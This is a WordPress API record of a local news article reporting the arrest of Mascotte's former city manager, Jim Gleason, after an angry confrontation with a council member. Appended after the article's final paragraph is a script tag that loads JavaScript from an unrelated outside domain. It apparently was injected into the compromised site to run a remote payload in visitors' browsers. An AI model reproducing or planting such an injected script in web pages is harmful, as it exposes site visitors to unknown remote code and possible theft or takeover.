{"id":222455,"date":"2020-08-21T11:32:30","date_gmt":"2020-08-21T15:32:30","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=222455"},"modified":"2020-08-21T11:32:42","modified_gmt":"2020-08-21T15:32:42","slug":"former-mascotte-city-manager-arrested-charged-with-battery","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/former-mascotte-city-manager-arrested-charged-with-battery\/","title":{"rendered":"Former Mascotte City Manager Arrested, Charged With Battery"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Former Mascotte city manager Jim Gleason was arrested and charged with battery on an official and disorderly conduct after a Mascotte City Council meeting Thursday afternoon.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Gleason, who served as Mascotte&#8217;s city manager since June of 2011, was terminated on July 7th after the council voted 3-2 to terminate his contract. The termination was effective immediately after the vote at which time Gleason was placed on paid suspension pending an appeal hearing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">During Thursday&#8217;s council meeting, members of the council decided not to reinstate Gleason as City Manager.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">According to witnesses, the decision caused Gleason to become angry to the point where police were dispatched to the meeting in reference to the disturbance.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Upon arrival, officers found Gleason outside of the building engaged in an argument with council member Brenda Brasher and her husband, Mascotte Fire Chief Randy Brasher.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Officers reported that Gleason focused his anger on council member Brasher, verbally threatening her, calling her a &#8220;white trash c-nt&#8221;, and poking her on her shoulder in an aggressive manner.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Several bystanders rushed to help the Brashers by pulling them into the building. Witnesses reported that Gleason continued to scream profanities and threatened to go to the Brashers&#8217; house.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Gleason was then arrested and transported to the lake County Jail where he was released a few hours later after posting a $2,500 bond.<\/p>\n<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script>","protected":false},"excerpt":{"rendered":"<p>The former Mascotte city manager, Jim Gleason, was arrested and charged with battery and disorderly conduct after an argument ensued at a city council meeting. \/ Photo source: Lake County Inmate Records<\/p>\n","protected":false},"author":1,"featured_media":222456,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[3244,6],"tags":[215,657,2450,3970,3971,3053,80,1446],"class_list":["post-222455","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-arrests","category-lake-county","tag-arrest","tag-arrested","tag-arrests","tag-city-manager","tag-city-of-mascotte","tag-council","tag-lake-county","tag-mascotte","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/james-gleason.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/222455","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=222455"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/222455\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/222456"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=222455"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=222455"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=222455"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}